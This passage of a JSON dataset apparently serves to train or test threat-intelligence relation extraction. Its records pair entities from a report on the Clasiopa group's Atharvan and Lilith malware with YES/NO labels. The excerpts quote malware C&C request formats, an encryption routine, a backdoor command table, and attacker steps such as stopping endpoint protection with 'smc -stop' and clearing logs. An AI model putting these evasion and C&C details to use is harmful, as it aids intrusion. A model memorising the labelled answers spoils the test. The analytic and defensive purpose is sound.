Entity:\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328\n### Target Entity: Lilith\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd\n### Target Entity: Hacktool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b\n### Target Entity: Atharvan\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07\n### Target Entity: Lilith\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b\n### Target Entity: Atharvan\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275\n### Target Entity: Thumbsender\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAtharvan\n### Target Entity: Hacktool\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n5b74b2176b8914b0c4e6215baab9e96d1e9a773803105cf50dac0427fac79c1b \u2013 Backdoor.Atharvan\n8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b \u2013 Backdoor.Atharvan\n95f76a95adcfdd91cb626278006c164dcc46009f61f706426b135cdcfa9598e3 \u2013 Lilith\n940ab006769745b19de5e927d344c4a4f29cae08e716ee0b77115f5f2a2e3328 \u2013 Lilith\n38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 \u2013 Lilith\nc94c42177d4f9385b02684777a059660ea36ce6b070c2dba367bf8da484ee275 \u2013 Thumbsender\nf93ddb2377e02b0673aac6d540a558f9e47e611ab6e345a39fd9b1ba9f37cd22 \u2013 Custom Proxy Tool\n3aae54592fe902be0ca1ab29afe5980be3f96888230d5842e93b3ca230f8d18d \u2013 Backdoor\n0550e1731a6aa2546683617bd33311326e7b511a52968d24648ea231da55b7e5 \u2013 Backdoor\n8023b2c1ad92e6c5fec308cfafae3710a5c47b1e3a732257b69c0acf37cb435b \u2013 Hacktool\n1569074db4680a9da6687fb79d33160a72d1e20f605e661cc679eaa7ab96a2cd \u2013 Hacktool\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThumb.db\n### Target Entity: Thumbsender\n### Text Passage:\nTools Used\n* Atharvan: Custom developed remote access Trojan (RAT).\n* Lilith: The attackers used modified versions of the publicly available Lilith RAT. The versions used were capable of carrying out the following tasks:\n* Killing the process\n* Restarting the process\n* Modifying the sleep interval\n* Uninstalling the RAT\n* Executing a remote command or PowerShell script\n* Exiting the process\n* Thumbsender: Hacking tool which, when it receives a command from a command-and-control (C&C) server will list file names on the computer and save them in a file called Thumb.db before sending them to a specified IP address.\n* Custom proxy tool.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLilith\n### Target Entity: PowerShell\n### Text Passage:\nTools Used\n* Atharvan: Custom developed remote access Trojan (RAT).\n* Lilith: The attackers used modified versions of the publicly available Lilith RAT. The versions used were capable of carrying out the following tasks:\n* Killing the process\n* Restarting the process\n* Modifying the sleep interval\n* Uninstalling the RAT\n* Executing a remote command or PowerShell script\n* Exiting the process\n* Thumbsender: Hacking tool which, when it receives a command from a command-and-control (C&C) server will list file names on the computer and save them in a file called Thumb.db before sending them to a specified IP address.\n* Custom proxy tool.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAWS\n### Target Entity: South Korea\n### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand Description\n------\n0x11 Configures interval between communication attempts\n0x12 Downloads arbitrary file from specified control server\n0x15 Runs arbitrary executable and sends its output to the remote attacker\n0x16 Configures communication to use schedule type 0x16\n0x17 Configures communication to use schedule type 0x17\n0x18 Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC&C\n### Target Entity: South Korea\n### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand Description\n------\n0x11 Configures interval between communication attempts\n0x12 Downloads arbitrary file from specified control server\n0x15 Runs arbitrary executable and sends its output to the remote attacker\n0x16 Configures communication to use schedule type 0x16\n0x17 Configures communication to use schedule type 0x17\n0x18 Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nupdate.php\n### Target Entity: update.microsoft.com\n### Text Passage:\nAtharvan\nAtharvan is so-named because when the malware is run, it creates a mutex named: \"SAPTARISHI-ATHARVAN-101\" to ensure that only one copy is running.\nIt will then contact a hardcoded C&C server. The hardcoded C&C addresses seen in one of the samples analyzed to date was for Amazon AWS South Korea (Seoul) region, which is not a common location for C&C infrastructure.\nThe C&C communications are formatted as HTTP POST requests where the Host header is hardcoded as \"update.microsoft.com\", e.g.:\n_POST /update.php HTTP/1.1_\n_User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.52_\n_Host: update.microsoft.com_\n_Content-type: application/x-www-form-urlencoded_\n_Content-length: 46_\n_id=Atharvan &code=101&cid=H[REDACTED]&time=5_\nThe request body includes the following parameters:\n* \"id\": hardcoded string \"Atharvan\"\n* \"code\": represents request purpose, which can be one of:\n* 101: fetches commands\n* 102: sends command outputs or error messages\n* 103: fetches file body to write when processing command 0x12\n* \"cid\": hardcoded string \"H\" followed by the network interface hardware address of the affected computer as 12 hexadecimal digits\n* \"time\": interval between communication attempts\n* \"msg\" (optional): depending on the request purpose as specified using \"code\" parameter:\n* when the \"code\" parameter is 102, it includes output of commands or error messages in encrypted form\n* when the \"code\" parameter is 103, it identifies the file to fetch in non-encrypted form\nWhen encrypting the \"msg\" value, the malware uses the following encryption algorithm:\ndef encrypt(plaintext):\n_return bytes([((2 - byte) & 0xff) for byte in plaintext])_\nThe malware uses its own simplistic HTTP parser to extract the body from the server response. The extracted body is decrypted using the following algorithm:\ndef decrypt(ciphertext):\n_return bytes([((2 - byte) & 0xff) for byte in ciphertext])_\nWhen fetching commands, the malware expects the decrypted body to contain a sequence of strings separated by the \"\\x1A\" character.\nThe first byte of each string specifies the command to execute and the remaining bytes are interpreted as command parameters.\nTable 1. Atharvan commandsCommand Description\n------\n0x11 Configures interval between communication attempts\n0x12 Downloads arbitrary file from specified control server\n0x15 Runs arbitrary executable and sends its output to the remote attacker\n0x16 Configures communication to use schedule type 0x16\n0x17 Configures communication to use schedule type 0x17\n0x18 Configures communication to use schedule type 0x18\nWhen configuring a communication schedule, the command parameters specify the times and days for the communication attempts. Several different times can be specified, with the hour and minute of the day encoded.\nThe days are interpreted as:\n* No restrictions (communication schedule type 0x16)\n* Bitmask specifying days of month (communication schedule type 0x17)\n* Bitmask specifying days of week (communication schedule type 0x18)\nThis scheduled communication configuration is another unusual feature of the malware and is not commonly seen in malware of this kind.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Asia\n### Text Passage:\nGroup uses distinct toolset but there are few clues to its origins.\nA hitherto unknown attack group has been observed targeting a materials research organization in Asia. The group, which Symantec calls Clasiopa, is characterized by a distinct toolset, which includes one piece of custom malware (Backdoor.Atharvan). At present, there is no firm evidence on where Clasiopa is based or whom it acts on behalf.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Atharvan\n### Text Passage:\nGroup uses distinct toolset but there are few clues to its origins.\nA hitherto unknown attack group has been observed targeting a materials research organization in Asia. The group, which Symantec calls Clasiopa, is characterized by a distinct toolset, which includes one piece of custom malware (Backdoor.Atharvan). At present, there is no firm evidence on where Clasiopa is based or whom it acts on behalf.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Agile DGS\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: Agile FD\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: PowerShell\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nClasiopa\n### Target Entity: wsmprovhost\n### Text Passage:\nClasiopa Tactics, Techniques, and Procedures\nThe infection vector used by Clasiopa is unknown, although there is some evidence to suggest that the attackers gain access through brute force attacks on public facing servers.\nAside from the distinct toolset used, there were a number of attack hallmarks observed:\n* The attackers checked the IP addresses of the computers they were on using: https://ifconfig.me/ip\n* An attempt was made to disable Symantec Endpoint Protection (SEP) by stopping the SepMasterService. The result of this query was checked and then a second attempt was made to disable SEP using \"smc -stop\". Note that any commands attempting to stop SEP will only work if the attacker has administrative credentials and the SEP administrator has disabled anti-tamper protection.\n* The attackers used multiple backdoors to build lists of file names and exfiltrate them. These lists were exfiltrated either in a Thumb.db file or a Zip archive.\n* Sysmon logs were cleared using wsmprovhost.\n* All eventlogs were cleared using PowerShell.\n* A scheduled task named \"network service\" was created to list file names.\nThere is some evidence to suggest that the attackers used two legitimate software packages. One compromised computer was running Agile DGS and Agile FD servers, software developed by Jiangsu. These packages are used for document security and protection in transit. Malicious files were dropped into a folder named \u201cdgs\u201d and one of the backdoors used was renamed from atharvan.exe to agile_update.exe. It is unclear if these software packages are being injected into or installed by the attackers.\nHCL Domino (formerly IBM Domino) was also run on a compromised machine in close proximity to the execution of backdoors, although it is unclear if this was a coincidence or not. However, both the Domino and Agile software appear to be using old certificates and the Agile servers use old vulnerable libraries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target 